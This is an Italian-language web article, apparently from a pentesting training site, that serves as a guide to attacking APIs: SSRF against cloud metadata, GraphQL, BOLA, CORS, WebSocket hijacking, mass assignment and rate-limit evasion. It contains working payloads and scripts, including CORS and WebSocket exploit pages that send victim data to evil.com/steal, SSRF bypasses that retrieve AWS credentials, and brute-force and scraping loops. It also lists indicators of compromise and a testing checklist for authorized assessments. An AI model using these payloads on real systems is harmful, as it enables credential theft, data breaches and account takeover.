web-hacking

API Security: Guida Completa agli API Attacks e al Pentesting (SSRF, GraphQL, BOLA, CORS)

API Security: Guida Completa agli API Attacks e al Pentesting (SSRF, GraphQL, BOLA, CORS)

API security e penetration testing delle API moderne: SSRF, GraphQL attack, BOLA/IDOR, CORS misconfiguration, Mass Assignment e bypass rate limit. Guida completa con payload e tecniche reali.

  • Pubblicato il 2026-03-04
  • Tempo di lettura: 14 min

API & Modern Web Attacks — La Superficie D’Attacco Che Cresce Ogni Giorno #

Nel 2026 il web è fatto di API. Il frontend React/Vue/Angular parla con un backend REST o GraphQL. I microservizi parlano tra loro via API interne. Le mobile app parlano con le stesse API. I webhook, le integrazioni, i partner — tutto è API. L’applicazione web “classica” con form HTML e redirect server-side sta scomparendo. La superficie d’attacco si è spostata quasi interamente sulle API.

Questo cambiamento ha creato una classe di vulnerabilità nuova e specifica: SSRF che dall’API raggiunge i servizi cloud interni (metadata endpoint → credenziali AWS), GraphQL injection che permette di estrarre interi database con una singola query, CORS misconfiguration che permette a qualsiasi sito di leggere dati dal tuo browser, WebSocket hijacking che bypassa tutte le protezioni HTTP, BOLA (Broken Object Level Authorization, il nome OWASP per l’IDOR nelle API), BFLA (Broken Function Level Authorization), Mass Assignment che promuove utenti ad admin con un campo JSON aggiuntivo, e API Rate Limit bypass che permette brute force e scraping illimitati.

OWASP ha creato una Top 10 dedicata alle API (OWASP API Security Top 10 2023) perché le vulnerabilità API sono diverse da quelle web tradizionali. La trovo nel 70% dei pentest: BOLA nel 25%, SSRF nel 15%, Broken Authentication API nel 12%, BFLA nel 12%, Mass Assignment nel 10%, GraphQL issues nel 8%, CORS nel 8%, WebSocket nel 5%, Rate Limiting insufficiente nel 15%.

Caso riassuntivo: piattaforma fintech, API REST. L’endpoint /api/v2/accounts/{id}/balance restituiva il saldo a chiunque fosse autenticato, senza verificare che l’{id} fosse dell’utente autenticato → BOLA → saldi di 200.000 conti. L’endpoint /api/v2/transfer non aveva rate limit → brute force dell’IBAN di destinazione. Il GraphQL esposto su /graphql aveva l’introspection attiva → schema completo → query per dati admin. L’API interna di notifica accettava URL → SSRF → metadata AWS → credenziali IAM → S3 con backup. Quattro vulnerabilità API = compromissione completa.

Cos’è un API & Modern Web Attack? #

Un API Attack è qualsiasi attacco che sfrutta debolezze specifiche delle API (REST, GraphQL, gRPC, WebSocket, SOAP) nei loro meccanismi di autenticazione, autorizzazione, validazione input, configurazione e rate limiting. Le API hanno una superficie d’attacco diversa dal web tradizionale: non hanno interfaccia grafica (quindi niente “menu admin nascosto” — tutto è esposto negli endpoint), parlano JSON invece di HTML, usano JWT invece di cookie di sessione, e gestiscono logica business critica (trasferimenti, pagamenti, creazione account).

Gli API Attacks sono pericolosi? Sono il vettore d’attacco più rilevante nel 2026. OWASP API Security Top 10 è una classifica dedicata. Le API gestiscono dati critici (pagamenti, PII, salute) e sono esposte direttamente su internet. Trovati nel 70% dei pentest. L’impatto va dal data breach al financial fraud al cloud takeover.


API & Modern Web Attacks — Cosa Imparerai #

  • Cos’è ogni vulnerabilità API e perché ha una OWASP Top 10 dedicata
  • Come trovare endpoint nascosti con JavaScript analysis, ffuf e Swagger/OpenAPI esposti
  • Come sfruttare SSRF per cloud takeover, GraphQL per data breach, CORS per data theft
  • Come chainarle per massimizzare l’impatto: da BOLA a scraping massivo, da SSRF a AWS compromise
  • L’attack chain completa: dalla JavaScript analysis all’infrastruttura cloud
  • Il playbook operativo: il workflow minuto-per-minuto per API REST, GraphQL e WebSocket
  • La checklist finale: ogni test organizzato per OWASP API Top 10

API Attacks: Le Vulnerabilità Più Comuni #

#VulnerabilitàCosa succedeFrequenzaLink
API1BOLA (Broken Object Level Auth)Accesso ai dati di altri utenti cambiando ID25%IDOR
API2Broken AuthenticationJWT attack, session flaw, OAuth bypass12%JWT, OAuth
API3BOPLA (Broken Object Property Level Auth)Mass Assignment, accesso a campi non autorizzati10%Mass Assignment
API4Unrestricted Resource ConsumptionNo rate limit → brute force, DoS, scraping15%
API5BFLA (Broken Function Level Auth)Utente normale accede a endpoint admin12%BAC
API6SSRFL’API fetcha un URL controllato dall’attaccante15%SSRF
API7Security MisconfigurationCORS, debug mode, verbose errors, introspection8%CORS
API8Lack of Protection from Automated ThreatsAccount creation abuse, scraping, spam10%
API9Improper Inventory ManagementAPI vecchie (/v1/) non dismesse, shadow API10%
API10Unsafe Consumption of APIsL’API si fida di input da API terze5%

Discovery — Mappare La Superficie API #

Trovare gli Endpoint #

bash
# === Passivo — analizza il traffico frontend ===
# In Burp Suite: naviga tutta l'applicazione → il frontend chiama le API
# Logger++: filtra per /api/, /graphql, /v1/, /v2/

# === JavaScript source analysis ===
# I frontend SPA contengono TUTTI gli endpoint nel codice JavaScript
# Scarica i JS bundle e cerca:
curl -s "https://target.com/static/js/app.js" | grep -oE '/api/v[0-9]+/[a-zA-Z/_-]+' | sort -u
curl -s "https://target.com/static/js/app.js" | grep -oE 'fetch\(["'"'"'][^"'"'"']+' | sort -u
curl -s "https://target.com/static/js/app.js" | grep -oE 'axios\.\w+\(["'"'"'][^"'"'"']+' | sort -u

# Tool: LinkFinder
python3 linkfinder.py -i https://target.com/static/js/app.js -o cli

# === Attivo — fuzzing endpoint ===
ffuf -u "https://target.com/api/v2/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,401,403,405 \
  -t 50

# Fuzz versioni API (spesso /v1/ è meno protetta di /v2/)
ffuf -u "https://target.com/api/FUZZ/users" \
  -w <(echo -e "v1\nv2\nv3\nv4\nbeta\nstaging\ninternal\ndev\ntest") \
  -mc 200,201,401,403

# === Documentazione esposta ===
# Swagger / OpenAPI
curl -s "https://target.com/swagger.json"
curl -s "https://target.com/api-docs"
curl -s "https://target.com/openapi.json"
curl -s "https://target.com/v2/api-docs"
curl -s "https://target.com/api/swagger-ui/"

# Prova anche:
/swagger.yaml
/swagger-ui.html
/api/docs
/redoc
/.well-known/openapi.json
/api/v2/swagger.json

GraphQL Discovery #

bash
# Test endpoint GraphQL
curl -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}'
# Se risponde {"data":{"__typename":"Query"}} → GraphQL confermato!

# Endpoint comuni:
/graphql
/graphql/v1
/api/graphql
/gql
/query

# Introspection query (mappa l'INTERO schema)
curl -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}'

# Tool: graphql-voyager per visualizzare lo schema
# Tool: InQL (Burp extension) per introspection automatica

SSRF — L’API Che Fa Request Per Te #

La SSRF (Server-Side Request Forgery) è la vulnerabilità API più critica nel cloud: l’applicazione accetta un URL dall’utente e fa una request HTTP a quell’URL dal server. Se il server è in AWS/Azure/GCP, l’attaccante punta l’URL al metadata endpoint (169.254.169.254) e ottiene credenziali IAM del server.

bash
# === Scenario: API che genera preview/thumbnail da URL ===
POST /api/v2/preview
{"url": "https://example.com/image.png"}

# === Attacco: leggi metadata AWS ===
POST /api/v2/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# Response: nome del ruolo IAM (es: "web-app-role")

POST /api/v2/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}
# Response:
# {
#   "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG...",
#   "Token": "FwoGZX...",
#   "Expiration": "2026-02-20T12:00:00Z"
# }
# → CREDENZIALI AWS COMPLETE!

SSRF Bypass — Quando Il Filtro Blocca 169.254.169.254 #

bash
# Decimal IP
http://2852039166                      # 169.254.169.254 in decimal

# Hex IP
http://0xa9fea9fe

# Octal IP
http://0251.0376.0251.0376

# IPv6
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:a9fe:a9fe]

# Redirect: il tuo server fa 302 → 169.254.169.254
http://attacker.com/redirect?url=http://169.254.169.254/...

# DNS rebinding: il tuo DNS risponde prima con IP pubblico, poi con 169.254.169.254

# URL parsing confusion
http://169.254.169.254@attacker.com
http://attacker.com#@169.254.169.254

# IMDSv2 bypass (AWS — richiede header con PUT)
# Se la SSRF permette header custom:
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
# → Token, poi:
GET http://169.254.169.254/latest/meta-data/ (con token nell'header)

SSRF Target Interni #

bash
# Cloud metadata:
http://169.254.169.254/...                    # AWS EC2
http://169.254.169.254/metadata/v1/...        # DigitalOcean
http://metadata.google.internal/...           # GCP
http://169.254.169.254/metadata/instance      # Azure

# Servizi interni (non esposti su internet):
http://localhost:8080/admin                    # Admin panel locale
http://internal-api:3000/api/users             # Microservizio interno
http://redis:6379/                             # Redis (SSRF → RCE via RESP)
http://elasticsearch:9200/_cat/indices         # Elasticsearch
http://grafana:3000/                           # Dashboard

# Port scan interno (SSRF come scanner):
# Prova porte diverse → timeout = chiusa, response = aperta
http://10.0.0.1:22     # SSH
http://10.0.0.1:3306   # MySQL
http://10.0.0.1:5432   # PostgreSQL
http://10.0.0.1:6379   # Redis
http://10.0.0.1:27017  # MongoDB
http://10.0.0.1:9200   # Elasticsearch

Output Reale SSRF → AWS #

bash
$ curl -X POST "https://target.com/api/v2/preview" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}'

{
  "Code": "Success",
  "LastUpdated": "2026-02-20T10:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "FwoGZXIvYXdzEBYaDH...",
  "Expiration": "2026-02-20T16:00:00Z"
}

# Uso immediato:
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG..."
export AWS_SESSION_TOKEN="FwoGZXIvYXdz..."
aws sts get-caller-identity
aws s3 ls
aws secretsmanager list-secrets

Dettaglio completo → SSRF


GraphQL — Una Query Per Rubarli Tutti #

GraphQL è potente per lo sviluppatore ma un incubo per la sicurezza. L’introspection espone l’intero schema. Le query nested possono estrarre relazioni profonde. Il batching aggira il rate limit. La mancanza di authorization per-field espone dati sensibili.

Introspection → Schema Completo #

bash
# Query introspection completa
curl -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name } } } } } }"}' | python3 -m json.tool

# Output (estratto):
# "types": [
#   {"name": "User", "fields": [
#     {"name": "id"},
#     {"name": "email"},
#     {"name": "passwordHash"},     ← !
#     {"name": "role"},
#     {"name": "ssn"},              ← !
#     {"name": "creditCard"}        ← !
#   ]},
#   {"name": "AdminMutation", "fields": [
#     {"name": "deleteUser"},
#     {"name": "changeRole"},
#     {"name": "exportDatabase"}    ← !
#   ]}
# ]
# Lo schema espone TUTTO: campi sensibili, mutazioni admin, relazioni

Query Per Estrarre Dati Sensibili #

graphql
# Dopo aver scoperto lo schema:

# Dump tutti gli utenti con campi sensibili
query {
  users {
    id
    email
    passwordHash
    role
    ssn
    creditCard {
      number
      expiry
      cvv
    }
  }
}

# Query nested (segui le relazioni)
query {
  users {
    email
    orders {
      total
      items { name price }
      payment {
        cardLast4
        iban
      }
    }
    documents {
      type
      url
    }
  }
}

GraphQL Batching — Bypass Rate Limit #

json
// Una singola request HTTP con 100 query:
[
  {"query": "{ user(id: 1) { email } }"},
  {"query": "{ user(id: 2) { email } }"},
  {"query": "{ user(id: 3) { email } }"},
  // ...fino a 100 o 1000
  {"query": "{ user(id: 1000) { email } }"}
]
// Il rate limit conta 1 request  ma estrai 1000 utenti!

GraphQL Injection #

graphql
# Se un campo usa input utente in una query SQL dietro le quinte:
query {
  user(name: "admin' OR '1'='1") {
    id email role
  }
}

# DoS via query deeply nested
query {
  users {
    friends {
      friends {
        friends {
          friends {
            friends { name }
          }
        }
      }
    }
  }
}
# Esponenziale → il server va in timeout o crash

Dettaglio completo → GraphQL Attack


CORS Misconfiguration — Il Browser Che Tradisce #

La CORS (Cross-Origin Resource Sharing) controlla quali siti possono fare request cross-origin con il browser della vittima. Se mal configurata, qualsiasi sito può leggere i dati dell’utente dall’API target.

bash
# Test: invia Origin header e guarda la response
curl -s -H "Origin: https://evil.com" \
  "https://target.com/api/v2/user/profile" \
  -H "Cookie: session=VICTIM_COOKIE" -v 2>&1 | grep -i "access-control"

# Se la response contiene:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# → CORS MISCONFIGURATION! Qualsiasi sito può leggere i dati!

Varianti di misconfiguration #

bash
# 1. Origin riflesso (il peggiore — qualsiasi origin è accettato)
Origin: https://evil.com → Access-Control-Allow-Origin: https://evil.com ✓

# 2. Null origin accettato
Origin: null → Access-Control-Allow-Origin: null ✓
# Triggerabile da iframe sandboxed

# 3. Subdomain wildcard mal implementato
Origin: https://evil.target.com → Access-Control-Allow-Origin: https://evil.target.com ✓
# L'attaccante registra evil.target.com o sfrutta un XSS su un subdomain

# 4. Regex bypass
# Se il server usa regex per validare: /^https:\/\/.*\.target\.com$/
Origin: https://eviltarget.com → Match!
Origin: https://target.com.evil.com → Match!

Exploit CORS #

html
<!-- Pagina su evil.com — la vittima la visita -->
<script>
fetch('https://target.com/api/v2/user/profile', {
  credentials: 'include'  // Invia i cookie della vittima!
})
.then(r => r.json())
.then(data => {
  // Invia i dati della vittima al server dell'attaccante
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
// La vittima visita evil.com → il suo profilo (email, indirizzo, dati sensibili)
// viene inviato al server dell'attaccante
</script>

Dettaglio completo → CORS Misconfiguration


WebSocket — Il Canale Senza Protezioni HTTP #

I WebSocket sono connessioni persistenti bidirezionali. Dopo l’handshake HTTP iniziale, il traffico WebSocket non ha header HTTP, non ha cookie per ogni messaggio, non ha CSRF token. Molte protezioni HTTP semplicemente non si applicano.

bash
# Discovery WebSocket
# In Burp Suite: tab "WebSocket history"
# O cerca nel JavaScript:
grep -oE "wss?://[^\"']+|new WebSocket" app.js

# Test con wscat
wscat -c "wss://target.com/ws" -H "Cookie: session=abc123"

# Cross-Site WebSocket Hijacking (CSWSH)
# Se il server non verifica l'Origin nell'handshake:
html
<!-- evil.com — la vittima visita questa pagina -->
<script>
var ws = new WebSocket('wss://target.com/ws');
// Il browser invia automaticamente i cookie di target.com!
ws.onopen = function() {
  ws.send(JSON.stringify({action: 'get_profile'}));
};
ws.onmessage = function(e) {
  // Dati della vittima ricevuti via WebSocket
  fetch('https://evil.com/steal', {method: 'POST', body: e.data});
};
</script>
bash
# Injection via WebSocket
# Se il server elabora i messaggi senza sanitizzazione:
{"action": "search", "query": "admin' OR '1'='1"}
# → SQL Injection via WebSocket!

{"action": "render", "template": "{{7*7}}"}
# → Template injection via WebSocket!

Dettaglio completo → WebSocket Attack


Mass Assignment — Promuoversi Ad Admin Con Un Campo JSON #

Il Mass Assignment avviene quando l’API accetta tutti i campi nel body JSON e li applica al modello dati senza whitelist. L’attaccante aggiunge campi che non dovrebbe poter modificare:

bash
# Request legittima (update profilo):
PUT /api/v2/users/me
{"name": "Mario Rossi", "email": "mario@email.com"}

# Attacco:
PUT /api/v2/users/me
{"name": "Mario Rossi", "email": "mario@email.com", "role": "admin"}
# Se il server accetta il campo "role" → privilege escalation!

# Campi da provare (tutti):
{"role": "admin"}
{"isAdmin": true}
{"is_admin": true}
{"admin": true}
{"privilege": "administrator"}
{"type": "admin"}
{"group_id": 1}
{"permissions": ["*"]}
{"verified": true}
{"email_verified": true}
{"is_active": true}
{"balance": 999999}
{"plan": "enterprise"}
{"subscription": "premium"}
{"credits": 999999}

Discovery Mass Assignment #

bash
# Tool: Burp Param Miner
# Automatizza la scoperta di parametri nascosti

# Manuale: confronta la response GET con i campi che puoi mandare in PUT/PATCH
GET /api/v2/users/me
# Response: {"id":1337, "name":"Mario", "role":"user", "plan":"free", "credits":0}

# Ogni campo nella response → prova a modificarlo via PUT:
PUT /api/v2/users/me
{"role": "admin", "plan": "enterprise", "credits": 999999}

Dettaglio completo → Mass Assignment


API Rate Limit Bypass — Brute Force Illimitato #

Le API senza rate limit (o con rate limit bypassabile) permettono brute force su password, OTP, coupon code, e scraping massivo di dati.

bash
# === Verifica rate limit ===
for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}" \
    -X POST "https://target.com/api/auth/login" \
    -d '{"email":"test@test.com","password":"wrong'$i'"}'
  echo " attempt $i"
done
# Se dopo 100 tentativi è ancora 401 (non 429) → no rate limit!

# === Bypass con header ===
X-Forwarded-For: 1.2.3.FUZZ         # IP diverso per ogni request
X-Real-IP: 10.0.0.FUZZ
X-Originating-IP: FUZZ
True-Client-IP: FUZZ
X-Client-IP: FUZZ

# === Bypass con endpoint variation ===
/api/v2/auth/login → rate limited
/api/v1/auth/login → NO rate limit!    # API vecchia dimenticata!
/API/V2/AUTH/LOGIN → NO rate limit!    # Case variation
/api/v2/auth/login/ → NO rate limit!   # Trailing slash
/api/v2/auth/login?x=1 → NO rate limit!  # Query param diverso

# === GraphQL batching (già visto) ===
# 1 request HTTP = 1000 tentativi di login
[
  {"query":"mutation{login(email:\"admin@co.com\",password:\"pass1\"){token}}"},
  {"query":"mutation{login(email:\"admin@co.com\",password:\"pass2\"){token}}"},
  // ...
  {"query":"mutation{login(email:\"admin@co.com\",password:\"pass1000\"){token}}"}
]

API Versioning Attack — La v1 Dimenticata #

Le API evolvono: /api/v1//api/v2//api/v3/. Ma le vecchie versioni spesso restano attive con meno protezioni:

bash
# v2 è protetta (rate limit, authorization, input validation):
GET /api/v2/users/1338 → 403 Forbidden (BOLA fixed!)

# v1 è dimenticata (nessuna protezione):
GET /api/v1/users/1338 → 200 OK (BOLA ancora presente!)

# Discovery:
ffuf -u "https://target.com/api/FUZZ/users/1338" \
  -w <(echo -e "v1\nv2\nv3\nv0\nbeta\nstaging\ndev\ntest\ninternal\nold\nlegacy") \
  -H "Cookie: session=YOUR_SESSION" \
  -mc 200

Detection & Evasion #

Evasion Rate Limit #

bash
# Rotazione IP
for ip in $(seq 1 255); do
  curl -H "X-Forwarded-For: 10.0.0.$ip" ...
done

# Slowdown (sotto la soglia)
# 1 req/5sec = 12/min = sotto la maggior parte delle soglie

# Distribuzione su endpoint diversi
/api/v1/login    # 3 tentativi
/api/v2/login    # 3 tentativi
/API/V2/LOGIN    # 3 tentativi
/api/v2/login/   # 3 tentativi
# 12 tentativi, nessun endpoint raggiunge il limite

Evasion WAF su API #

bash
# Content-Type confusion
Content-Type: application/json → bloccato
Content-Type: text/plain → il server lo parsa comunque come JSON!

# Unicode in JSON
{"role": "\u0061\u0064\u006d\u0069\u006e"}  # "admin" in Unicode escape

# JSON comment injection (parser specifici)
{"role": "user"/**/,"role": "admin"}
# Alcuni parser prendono il primo "role", altri l'ultimo

Tool Workflow Reali #

Burp Suite — Setup API Testing #

text
1. Importa la spec OpenAPI/Swagger (se trovata)
2. Configura autenticazione (JWT nel header Authorization)
3. Extensions essenziali:
   - Autorize → BOLA/BFLA automatico
   - InQL → GraphQL introspection + attack
   - JWT Editor → manipolazione token
   - Param Miner → discovery parametri nascosti
   - Logger++ → filtra per API endpoint
4. Scanner attivo su tutti gli endpoint
5. Intruder per BOLA: fuzza l'ID con range numerico

Postman → Burp → Script #

bash
# 1. Importa la collection Postman dell'API (se disponibile)
# 2. Proxy Postman attraverso Burp (127.0.0.1:8080)
# 3. Esegui tutte le request → Burp registra tutto
# 4. Da Burp → testa ogni request con sessione diversa (Autorize)
# 5. Script Python per BOLA massivo:

import requests

for uid in range(1, 10001):
    r = requests.get(
        f'https://target.com/api/v2/users/{uid}/profile',
        headers={'Authorization': 'Bearer YOUR_JWT'}
    )
    if r.status_code == 200:
        print(f"[+] User {uid}: {r.json().get('email')}")

🏢 Enterprise Escalation #

SSRF → Cloud Takeover #

text
API endpoint accetta URL → SSRF
→ http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ AWS Access Key + Secret + Token
→ aws s3 ls → 50 bucket
→ aws secretsmanager → RDS password
→ COMPROMISSIONE CLOUD COMPLETA

GraphQL → Data Breach Massivo #

text
/graphql → introspection attiva → schema completo
→ query { users { email passwordHash ssn creditCard { number cvv } } }
→ 500.000 utenti con PII, hash password, carte di credito
→ DATA BREACH + PCI-DSS violation

BOLA + No Rate Limit → Scraping Totale #

text
/api/v2/accounts/{id}/balance → BOLA (no authorization check)
+ No rate limit
→ Script: for id in range(1, 200000)
→ 200.000 saldi bancari con IBAN e movimenti
→ FINANCIAL DATA BREACH

Mass Assignment → Admin → Infrastructure #

text
PUT /api/v2/users/me {"role":"admin"} → accepted!
→ Admin panel → API keys infrastruttura
→ CI/CD token → pipeline injection
→ SUPPLY CHAIN

🔌 Confronto REST vs GraphQL vs WebSocket #

AspettoRESTGraphQLWebSocket
BOLA/IDORCambia ID nell’URLCambia ID nel parametro queryCambia ID nel messaggio
InjectionParametri URL/bodyParametri query/mutationMessaggi JSON
Rate LimitPer endpointBatching bypassaNessuno nativo
Auth bypassJWT/Cookie per requestJWT/Cookie per requestSolo all’handshake
Schema leakSwagger/OpenAPIIntrospection queryNessuno standard
CSRFSameSite + CSRF tokenSameSite + CSRF tokenOrigin check (spesso mancante)

API Pentesting: Playbook Operativo (Step-by-Step) #

Fase 1 — Discovery e Mapping (minuto 0-15) #

bash
# JavaScript analysis per endpoint nascosti
curl -s "https://target.com/static/js/app.js" | grep -oE '/api/v[0-9]+/[a-zA-Z/_-]+'
# ffuf per endpoint API
ffuf -u "https://target.com/api/v2/FUZZ" -w api-endpoints.txt -mc 200,401,403
# Swagger/OpenAPI
curl -s "https://target.com/swagger.json" "https://target.com/api-docs"
# GraphQL introspection
curl -X POST "https://target.com/graphql" -d '{"query":"{__schema{types{name fields{name}}}}"}'
# API versioning (v1 dimenticata?)
ffuf -u "https://target.com/api/FUZZ/users" -w versions.txt -mc 200

Fase 2 — Authorization (BOLA/BFLA) (minuto 15-30) #

bash
# Burp Autorize con 2 sessioni
# Ogni endpoint con ID → testa con sessione di altro utente
# Mass Assignment: aggiungi "role":"admin" nei PUT/PATCH

Fase 3 — Input Validation (SSRF, Injection) (minuto 30-45) #

bash
# SSRF: ogni parametro URL → testa con collaborator + 169.254.169.254
# GraphQL: query dati sensibili, batching, nested query
# WebSocket: Origin check, injection nei messaggi

Fase 4 — Rate Limit & Config (minuto 45-60) #

bash
# 100+ request rapide → 429? bypass con X-Forwarded-For?
# CORS: Origin evil.com → riflesso?
# GraphQL batching come bypass rate limit

Attack Chain Reale API (Step-by-Step) #

Chain 1: BOLA + No Rate Limit → Scraping Finanziario #

text
1. Discovery → /api/v2/accounts/{id}/balance (richiede auth)
2. Cambia {id} → saldo di altro utente → BOLA confermato
3. No rate limit (100 req senza 429)
4. Script: for id in range(1, 200000) → 200K saldi con IBAN
→ FINANCIAL DATA BREACH

Chain 2: SSRF → AWS Metadata → Cloud Takeover #

text
1. API webhook/preview accetta URL → SSRF confermata
2. http://169.254.169.254/.../security-credentials/ → ruolo IAM
3. AWS AccessKeyId + Secret + Token
4. aws s3 ls → bucket con backup
5. aws secretsmanager → password RDS
→ COMPROMISSIONE CLOUD COMPLETA

Chain 3: GraphQL → Schema Leak → Admin Mutation → Full Access #

text
1. /graphql → introspection attiva → schema completo
2. Tipo AdminMutation scoperto → exportAllTransactions, changeRole
3. mutation { changeRole(userId: "me", role: "admin") { success } }
4. Admin → API keys → infrastruttura
→ PRIVILEGE ESCALATION + DATA BREACH

Micro Playbook Reale #

Minuto 0-10 → Discovery: JS analysis, ffuf per endpoint, swagger.json, GraphQL introspection Minuto 10-20 → BOLA: testa ogni endpoint con ID di altri utenti (Autorize) Minuto 20-30 → SSRF: ogni parametro URL → testa con collaborator/metadata Minuto 30-40 → GraphQL: introspection → query dati sensibili → batching Minuto 40-50 → Mass Assignment: aggiungi role/admin/plan nei PUT/PATCH Minuto 50-55 → CORS: Origin evil.com → check Allow-Origin + Allow-Credentials Minuto 55-60 → Rate limit: 100 request → se no 429, brute force possibile Minuto 60-70 → API versioning: testa v1, beta, staging, dev, internal


Caso Studio Concreto #

Settore: Fintech, API banking, 200.000 conti, AWS EKS. Scope: Grey-box.

BOLA: /api/v2/accounts/{id}/balance restituiva il saldo a qualsiasi utente autenticato senza verificare che l’{id} appartenesse all’utente. Script Python: iterazione da 1 a 200.000 → saldi, IBAN, movimenti di tutti i conti.

SSRF: L’endpoint /api/v2/notifications/webhook accettava un URL per configurare il webhook. http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-role → credenziali AWS. Con le creds: aws s3 ls → bucket con backup database giornalieri. aws secretsmanager → password RDS.

GraphQL: /graphql con introspection attiva. Lo schema conteneva il tipo AdminUser con campo internalNotes e la mutation exportAllTransactions. Query: { adminUsers { email internalNotes } } → note interne con password temporanee. Mutation: mutation { exportAllTransactions { csv } } → export completo transazioni.

Rate Limit: Nessun rate limit sul login → brute force. Il password spray su 1.000 account con le top 10 password ha trovato 23 account con password deboli, incluso un account admin.

Tempo totale: 4 ore per la compromissione completa.


Errori Comuni Reali #

1. Authorization solo nel frontend L’interfaccia non mostra il bottone “Admin” ma l’endpoint /api/admin/ risponde a tutti.

2. Introspection GraphQL attiva in produzione Lo sviluppatore la usa in dev e dimentica di disattivarla → schema completo esposto.

3. CORS con origin riflesso Access-Control-Allow-Origin: $request_origin → qualsiasi sito legge i dati.

4. Rate limit per IP ma non per account Bypassabile con X-Forwarded-For o distribuendo i tentativi.

5. API v1 ancora attiva senza protezioni La v2 è fixata, ma la v1 — con gli stessi dati — non ha le patch.

6. SSRF in webhook/preview/import Qualsiasi funzionalità che accetta URL è un potenziale SSRF.

7. Mass Assignment perché l’ORM accetta tutto User.update(req.body) in Express/Django/Rails → accetta QUALSIASI campo.


Indicatori di Compromissione (IoC) #

  • Request sequenziali con ID incrementali (script BOLA) — es: GET /api/users/1, /2, /3…
  • Request verso metadata endpoint (169.254.169.254) nei log dell’API
  • Query GraphQL con introspection (__schema, __type) da IP esterni
  • Centinaia di request di login dallo stesso IP senza successo (brute force)
  • Request con header X-Forwarded-For che cambiano ad ogni tentativo
  • PUT/PATCH con campi role, admin, plan non previsti
  • Request verso /api/v1/ quando solo /api/v2/ è documentata

✅ Checklist Finale — API & Modern Web #

text
DISCOVERY
☐ JavaScript analysis per endpoint nascosti
☐ ffuf/feroxbuster per endpoint API
☐ Swagger/OpenAPI cercato e analizzato
☐ GraphQL endpoint trovato (introspection testata)
☐ Versioni API vecchie testate (v1, beta, staging)

BOLA/IDOR (API1)
☐ Ogni endpoint con ID testato con sessione di altro utente
☐ GET, POST, PUT, DELETE testati
☐ ID sequenziali, UUID, hash testati
☐ Burp Autorize configurato e eseguito

AUTHENTICATION (API2)
☐ JWT decodificato e manipolato (algorithm none, weak secret)
☐ Session management testata (flag cookie, fixation, timeout)
☐ OAuth flow testato (redirect_uri, state, token leak)

MASS ASSIGNMENT (API3)
☐ Campi extra testati in PUT/PATCH (role, admin, plan, credits)
☐ Param Miner per discovery parametri nascosti
☐ Response GET confrontata con campi accettati in PUT

RATE LIMITING (API4)
☐ 100+ request rapide → 429 ricevuto?
☐ Bypass con X-Forwarded-For testato
☐ Bypass con variazione endpoint testato
☐ GraphQL batching testato

BFLA (API5)
☐ Endpoint admin testati con sessione utente normale
☐ Method switching testato (GET→POST→PUT)
☐ Path manipulation testata

SSRF (API6)
☐ Ogni parametro URL testato con collaborator
☐ Metadata endpoint (169.254.169.254) testato
☐ Bypass IP (decimal, hex, redirect, DNS rebinding)
☐ Port scan interno via SSRF testato

CORS (API7)
☐ Origin: https://evil.com → riflesso?
☐ Origin: null → accettato?
☐ Allow-Credentials: true → presente?
☐ Subdomain bypass testato

GRAPHQL
☐ Introspection query → schema ottenuto?
☐ Query per dati sensibili (password hash, PII)
☐ Mutation admin accessibili?
☐ Batching per bypass rate limit
☐ Query nested per DoS

WEBSOCKET
☐ Origin check nell'handshake verificato
☐ Cross-Site WebSocket Hijacking testato
☐ Injection nei messaggi testata
☐ Authorization per-message verificata

Mappa del Cluster API & Modern Web #

ArticoloTipoImpattoLink
Questa guidaPILLAR
SSRFServer-Side RequestCloud takeover
GraphQL AttackQuery exploitationData breach
CORS MisconfigurationCross-origin theftData theft
WebSocket AttackWS hijackingAccount takeover
Mass AssignmentProperty injectionPrivilege escalation
BOLA Deep DiveObject authorizationData breach->

Vedi anche: Auth & Access Control, Injection Attacks, File & Path Attacks.


Riferimento: OWASP API Security Top 10 2023, PortSwigger API Testing labs, HackTricks API Pentesting. Uso esclusivo in ambienti autorizzati.

Le tue API controllano chi accede a cosa? Il GraphQL ha l’introspection attiva? I webhook accettano URL interni? Penetration test API HackIta per scoprire ogni falla nelle tue API. Dall’SSRF al cloud takeover, dal GraphQL al data breach: formazione 1:1.

Riferimenti #

#api

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.